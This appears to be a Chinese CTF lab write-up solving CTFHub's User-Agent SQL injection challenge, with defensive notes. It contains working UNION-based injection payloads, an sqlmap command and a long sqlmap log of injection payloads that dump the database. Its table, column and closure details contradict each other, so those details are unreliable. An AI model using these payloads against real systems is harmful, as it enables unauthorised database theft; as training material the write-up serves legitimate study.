目录
本文详细分析了CTFHub平台的SQL注入-UA注入关卡渗透测试过程。通过手工注入和sqlmap自动化工具两种方法,成功利用User-Agent字段的SQL注入类型并获取数据库信息。手工注入采用UNION法逐步探测,包括确定列数、回显位、数据库名、表名及字段值,最终获取flag值。sqlmap实战通过配置请求文件自动完成渗透,验证了手工注入结果。两种方法均成功提取出flag:ctfhub{b3d1e28de1174c1594a7806a},展示了UA注入的攻击流程与防御要点。
一、UA注入
1、User-Agent简介
User-Agent(UA)是 HTTP 请求头的重要字段,用于向服务器标识客户端信息(如浏览器类型、操作系统、设备型号等,例如 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36)。
2、UA注入简介
UA 注入是 SQL 注入的一种特殊形式,其核心是利用网站对 HTTP 请求头中的 User-Agent(用户代理)字段未做严格校验与过滤 的安全隐患,通过篡改 UA 字段内容注入恶意 SQL 语句,从而非法操控数据库查询逻辑,获取敏感数据或破坏系统。
| 特点分类 | 具体说明 |
|---|---|
| 注入位置 | 利用 HTTP 请求头的 User-Agent(UA)字段,而非 URL 参数、POST 表单或 Cookie |
| 隐蔽性 | 注入内容藏于请求头中,不显示在地址栏或请求体,常规肉眼观察难以发现,且易绕过基础 WAF 规则 |
| 利用前提 | 1. 网站需将 UA 字段用于数据库操作(如插入日志、作为查询条件) 2. 对 UA 字段未做安全处理(无过滤、无参数化查询) |
| 技术本质 | 属于 SQL 注入的分支,核心是通过恶意 SQL 语句篡改数据库查询 / 执行逻辑 |
| 检测难度 | 常规 SQL 注入扫描工具默认优先检测 URL / 表单参数,易忽略请求头字段,需专门针对 UA 进行测试 |
| 常见场景 | 1. 网站的 “访问日志记录” 功能 2. 根据 UA 区分设备 / 浏览器的动态内容展示 3. 基于 UA 的用户行为分析统计 |
| 防御要点 | 1. 对 UA 字段进行严格过滤(转义特殊字符、限制长度 / 格式) 2. 强制使用 参数化查询 / 预编译语句,禁止直接拼接 SQL 3. 最小化数据库操作权限(如日志表仅授予 INSERT 权限,无查询其他表的权限) |
二、UNION法注入步骤
- 寻找注入点: 通过提交测试Payload(如单引号或逻辑语句)观察页面反应,确认参数是否存在SQL注入风险及判断其类型(字符型/数值型)。
- 确定字段数: 使用
ORDER BY子句逐次递增列数进行探测,当页面因超出实际列数而报错时,即可确定原始查询的字段数量。 - 探测回显点: 构造
UNION SELECT语句并令原查询结果为空,观察页面中显示的数字位置,这些位置即为可用于回显数据的字段。 - 获取当前数据库基本信息: 在回显点位置替换为
database()或version()等函数,从而获取当前数据库名称、版本等关键信息。 - 查询表名: 访问
information_schema.tables系统表,查询并列出当前数据库中的所有表名,寻找可能存储目标数据的表。 - 查询列名: 针对已识别的目标表,查询
information_schema.columns系统表,获取该表包含的所有列名结构。 - 提取最终数据: 直接查询目标表的目标列,将所需数据(如Flag)通过回显点输出到页面,完成整个联合注入攻击流程。
三、手工注入
1、目标识别与参数发现
(1)探测注入点
打开关卡( “SQL注入 - UA注入”)点击打开题目,如下所示,此时系统自动创建Docker环境,下图蓝色部分的URL地址就是靶场环境。

浏览器输入靶场URL链接,这就是我们的攻击目标,访问URL后页面提示“输入点在User-Agent,试试吧”,具体如下所示。
http://challenge-e325cb08ffdf524c.sandbox.ctfhub.com:10800/

SQL语句中的参数id等于的看起来像是浏览器的UserAgent内容,根据题目提示“输入点在User-Agent”,接下来们考虑在UA进行SQL注入。
select * from news where id=Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36 Edg/140.0.0.0
bp抓包,找到此报文,将报文发送到repeater,如下图所示。

如下图所示,红色框内的UA内容就是我们要修改的部分, 后续需要将其修改为Payload。

(2)探测SQL注入类型
根据提示,将Payload1设置为1,点击发送后观察页面变化。此时SQL语句变为select * from news where id=1,其中参数id=1说明其并未被任何符号包裹,说明其为整数型SQL注入。

(3)探测是否有SQL注入风险
在repeater中修改报文的UA部分,在id=后面修改payload。使用1 and 1=1进行渗透,输入万能恒真注入语句 1 and 1=1 #mooyuan,如下所示。
1 and 1=1 #mooyuan
关注SQL语句的变化和返回结果,页面输出结果无变化,由于1=1恒真,#号将后面内容注释掉,这个语句与输入参数1时的查询效果一样,因此页面输出结果依旧是ID为1,Data为ctfhub。这条语句注入的核心目的是测试该参数是否存在SQL注入风险,如下所示运行结果与输入1的效果一样,说明有SQL注入风险。

(4)探测注入方法
在repeater中修改报文的UA部分,修改payload未1',由于本关卡为数值型注入,试图通过引入特殊字符触发错误,若页面返回详细的数据库错误信息则证明存在SQL注入风险且未屏蔽错误。如下所示页面没有报错信息,无法使用报错法注入,故本关卡选择使用联合注入法渗透。

2、确定列数
探查目标SQL查询结果返回的列数,这是为后续的UNION联合查询攻击做准备。我们使用 ORDER BY 子句进行探测。ORDER BY n 表示根据第n列进行排序,如果n超过实际列数,数据库将返回错误。我们从 ORDER BY 1 开始尝试,Payload:id=1 ORDER BY 1。页面正常显示则说明查询结果至少有一列。然后依次递增数字:ORDER BY 2, ORDER BY 3, ... 直至页面返回错误(如空白页、数据库报错信息)。
1 order by 1

1 order by 2

1 order by 3

综上所述,当 ORDER BY 3 时页面无返回值,而 ORDER BY 2 正常,则表明当前查询结果的字段数为2列,说明后续UNION查询必须匹配相同的列数。
3、确定回显位
确定字段数为2后,我们使用UNION SELECT联合查询来确定哪些字段的内容会显示在网页上。构造Payload:-1 UNION SELECT 1,2。
-1 UNION SELECT 1,2
这里将原始id值设为-1(一个不存在的值)是为了让原查询结果为空,从而确保页面显示的是我们UNION查询的结果。

提交后,仔细观察页面。页面ID处显示“1”,而另一处Data显示“2”,这意味着第1个和第2个字段的内容会被输出到页面上,这些位置就是“回显点”。这两个位置将作为我们后续提取数据库信息的窗口。
4、获取当前数据库名
找到回显点(第1和第2位)后,我们开始提取数据库的核心信息。首先,替换回显点位置为数据库函数。Payload:-1 UNION SELECT database(),version()。database() 函数将返回当前数据库名称,version() 返回数据库版本信息。
-1 UNION SELECT database(),version()
提交后,页面会在相应位置显示数据库名(‘sqli’)和版本(“10.3.22-MariaDB-0+deb10u1”)。

5、获取数据库sqli所有表名
接下来,查询数据库sqli的所有表名。对于MySQL,信息模式库是information_schema.tables。
-1 UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema=database()
或
-1 UNION SELECT group_concat(table_name), 2 FROM information_schema.tables WHERE table_schema='sqli'
此语句会将当前数据库下的所有表名合并成一个字符串,并显示在第1个回显点上,ID对应的news和hchfsuhnun就是数据库中的表格,其中jbbcmprqbf表就是我们要下一步查询的表格。


6、查jbbcmprqbf表下有哪些字段
得知表名flag后,我们需要使用information_schema.columns探查flag表包含哪些字段(列)。
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='jbbcmprqbf' #mooyuan
或
-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='jbbcmprqbf' and table_schema=database() #mooyuan
这将列出‘wcpsqfmajq’表的所有字段名,如下所示Data回显位对应的就是字段名“xsbjlyaphy”,说明flag表仅有1列,那就是flag。


7、提取查jbbcmprqbf表wcpsqfmajq值
最后提取jbbcmprqbf表的wcpsqfmajq列对应的值,使用Payload如下所示。
-1 union select 1, wcpsqfmajq from jbbcmprqbf #mooyuan
提交后,页面在Data对应的回显位直接显示出Flag字符串ctfhub{b3d1e28de1174c1594a7806a},如下所示渗透成功。

四、sqlmap渗透实战
1、配置请求文件
在burpsuite中找到报文,右键-copy to file将其保存到ua.txt,具体如下所示。

修改ua.txt中文件,在User-Agent:后面添加1*,标注User-Agent字段为注入点,具体如下所示。
GET / HTTP/1.1
Host: challenge-e325cb08ffdf524c.sandbox.ctfhub.com:10800
User-Agent: 1*
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

2、sqlmap实战
我们使用sqlmap来进行渗透,完整的SQL注入命令如下所示。
sqlmap -r ua.txt --current-db --dump --batch -v 3
参数的具体含义如下所示。
| 参数 | 说明 |
|---|---|
-r ua.txt | 指定包含 HTTP 请求的文件(ua.txt) |
--current-db | 检测当前数据库名称。 |
--dump | 转储数据库中的数据(表名、列名、数据内容等)。 |
--batch | 自动回答所有问题,无需手动交互(适合自动化测试)。 |
-v 3 | 表示输出级别为3。在这个级别上,会显示注入Payload |
sqlmap渗透成功,闭合方式和我们源码分析一致,为单引号括号,可以通过联合注入法、布尔盲注、时间盲注方法渗透成功,flag值为ctfhub{b3d1e28de1174c1594a7806a},与手注法结果一致,具体信息如下所示。
└─$ sqlmap -r ua.txt --current-db --dump --batch -v 3
___
__H__
___ ___[(]_____ ___ ___ {1.6#stable}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:00:42 /2025-09-13/
(custom) HEADER parameter 'User-Agent #1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
[14:01:06] [DEBUG] used the default behavior, running in batch mode
sqlmap identified the following injection point(s) with a total of 76 HTTP(s) requests:
---
Parameter: User-Agent #1* ((custom) HEADER)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: 1 AND 7165=7165
Vector: AND [INFERENCE]
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: 1 AND (SELECT 4273 FROM (SELECT(SLEEP(5)))qGuL)
Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: -8795 UNION ALL SELECT CONCAT(0x717a766b71,0x5368514e58654148564c42556c6655496871435754656f726d4e4a715857524a676248556c786c50,0x7170767171),NULL-- -
Vector: UNION ALL SELECT [QUERY],NULL-- -
---
[14:01:06] [INFO] the back-end DBMS is MySQL
[14:01:06] [PAYLOAD] -1931 UNION ALL SELECT CONCAT(0x717a766b71,(CASE WHEN (VERSION() LIKE 0x254d61726961444225) THEN 1 ELSE 0 END),0x7170767171),NULL-- -
[14:01:06] [DEBUG] performed 1 query in 0.13 seconds
web application technology: OpenResty 1.21.4.2, PHP 7.3.14
back-end DBMS: MySQL >= 5.0.12 (MariaDB fork)
[14:01:06] [INFO] fetching current database
[14:01:06] [PAYLOAD] -7733 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(DATABASE() AS NCHAR),0x20),0x7170767171),NULL-- -
[14:01:06] [DEBUG] performed 1 query in 0.13 seconds
current database: 'sqli'
[14:01:06] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[14:01:06] [INFO] fetching current database
[14:01:06] [INFO] fetching tables for database: 'sqli'
[14:01:06] [PAYLOAD] -2675 UNION ALL SELECT CONCAT(0x717a766b71,JSON_ARRAYAGG(CONCAT_WS(0x6f636e666665,table_name)),0x7170767171),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69)-- -
[14:01:06] [PAYLOAD] -9648 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(COUNT(table_name) AS NCHAR),0x20),0x7170767171),NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69)-- -
[14:01:06] [DEBUG] used SQL query returns 2 entries
[14:01:06] [PAYLOAD] -6452 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(table_name AS NCHAR),0x20),0x7170767171) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69) LIMIT 0,1),NULL-- -
[14:01:06] [PAYLOAD] -5609 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(table_name AS NCHAR),0x20),0x7170767171) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x73716c69) LIMIT 1,1),NULL-- -
[14:01:07] [DEBUG] performed 4 queries in 0.50 seconds
[14:01:07] [INFO] fetching columns for table 'jbbcmprqbf' in database 'sqli'
[14:01:07] [PAYLOAD] -2925 UNION ALL SELECT CONCAT(0x717a766b71,JSON_ARRAYAGG(CONCAT_WS(0x6f636e666665,column_name,column_type)),0x7170767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6a6262636d7072716266 AND table_schema=0x73716c69-- -
[14:01:07] [PAYLOAD] -3606 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(COUNT(*) AS NCHAR),0x20),0x7170767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6a6262636d7072716266 AND table_schema=0x73716c69-- -
[14:01:07] [DEBUG] used SQL query returns 1 entry
[14:01:07] [PAYLOAD] -3244 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(column_name AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(column_type AS NCHAR),0x20),0x7170767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6a6262636d7072716266 AND table_schema=0x73716c69-- -
[14:01:07] [DEBUG] performed 3 queries in 0.35 seconds
[14:01:07] [INFO] fetching entries for table 'jbbcmprqbf' in database 'sqli'
[14:01:07] [PAYLOAD] -1081 UNION ALL SELECT CONCAT(0x717a766b71,JSON_ARRAYAGG(CONCAT_WS(0x6f636e666665,wcpsqfmajq)),0x7170767171),NULL FROM sqli.jbbcmprqbf ORDER BY wcpsqfmajq-- -
[14:01:07] [PAYLOAD] -2398 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(COUNT(wcpsqfmajq) AS NCHAR),0x20),0x7170767171),NULL FROM sqli.jbbcmprqbf-- -
[14:01:07] [DEBUG] used SQL query returns 1 entry
[14:01:07] [PAYLOAD] -3882 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(wcpsqfmajq AS NCHAR),0x20),0x7170767171),NULL FROM sqli.jbbcmprqbf ORDER BY wcpsqfmajq-- -
[14:01:07] [DEBUG] retrying failed SQL query without the ORDER BY clause
[14:01:07] [PAYLOAD] -5205 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(wcpsqfmajq AS NCHAR),0x20),0x7170767171),NULL FROM sqli.jbbcmprqbf-- -
[14:01:07] [DEBUG] performed 4 queries in 0.48 seconds
[14:01:07] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: jbbcmprqbf
[1 entry]
+----------------------------------+
| wcpsqfmajq |
+----------------------------------+
| ctfhub{b3d1e28de1174c1594a7806a} |
+----------------------------------+
[14:01:07] [INFO] table 'sqli.jbbcmprqbf' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge-e325cb08ffdf524c.sandbox.ctfhub.com/dump/sqli/jbbcmprqbf.csv'
[14:01:07] [INFO] fetching columns for table 'news' in database 'sqli'
[14:01:07] [PAYLOAD] -2495 UNION ALL SELECT CONCAT(0x717a766b71,JSON_ARRAYAGG(CONCAT_WS(0x6f636e666665,column_name,column_type)),0x7170767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69-- -
[14:01:08] [PAYLOAD] -4271 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(COUNT(*) AS NCHAR),0x20),0x7170767171),NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69-- -
[14:01:08] [DEBUG] used SQL query returns 2 entries
[14:01:08] [PAYLOAD] -4153 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(column_name AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(column_type AS NCHAR),0x20),0x7170767171) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 0,1),NULL-- -
[14:01:08] [PAYLOAD] -4681 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(column_name AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(column_type AS NCHAR),0x20),0x7170767171) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x6e657773 AND table_schema=0x73716c69 LIMIT 1,1),NULL-- -
[14:01:08] [DEBUG] performed 4 queries in 0.48 seconds
[14:01:08] [INFO] fetching entries for table 'news' in database 'sqli'
[14:01:08] [DEBUG] stripping ORDER BY clause from statement because it does not play well with UNION query SQL injection
[14:01:08] [PAYLOAD] -6461 UNION ALL SELECT CONCAT(0x717a766b71,JSON_ARRAYAGG(CONCAT_WS(0x6f636e666665,data,id)),0x7170767171),NULL FROM sqli.news-- -
[14:01:08] [PAYLOAD] -2141 UNION ALL SELECT CONCAT(0x717a766b71,IFNULL(CAST(COUNT(*) AS NCHAR),0x20),0x7170767171),NULL FROM sqli.news-- -
[14:01:08] [DEBUG] used SQL query returns 3 entries
[14:01:08] [PAYLOAD] -6765 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(data AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(id AS NCHAR),0x20),0x7170767171) FROM sqli.news LIMIT 0,1),NULL-- -
[14:01:08] [PAYLOAD] -8469 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(data AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(id AS NCHAR),0x20),0x7170767171) FROM sqli.news LIMIT 1,1),NULL-- -
[14:01:08] [PAYLOAD] -4526 UNION ALL SELECT (SELECT CONCAT(0x717a766b71,IFNULL(CAST(data AS NCHAR),0x20),0x6f636e666665,IFNULL(CAST(id AS NCHAR),0x20),0x7170767171) FROM sqli.news LIMIT 2,1),NULL-- -
[14:01:08] [DEBUG] performed 5 queries in 0.60 seconds
[14:01:08] [DEBUG] analyzing table dump for possible password hashes
Database: sqli
Table: news
[3 entries]
+--------+--------+
| id | data |
+--------+--------+
| 1 | ctfhub |
| 2 | skill |
| 114514 | sqli |
+--------+--------+
[14:01:08] [INFO] table 'sqli.news' dumped to CSV file '/home/kali/.local/share/sqlmap/output/challenge-e325cb08ffdf524c.sandbox.ctfhub.com/dump/sqli/news.csv'
[14:01:08] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/challenge-e325cb08ffdf524c.sandbox.ctfhub.com'
[14:01:08] [WARNING] your sqlmap version is outdated
[*] ending @ 14:01:08 /2025-09-13/
2668

被折叠的 条评论
为什么被折叠?



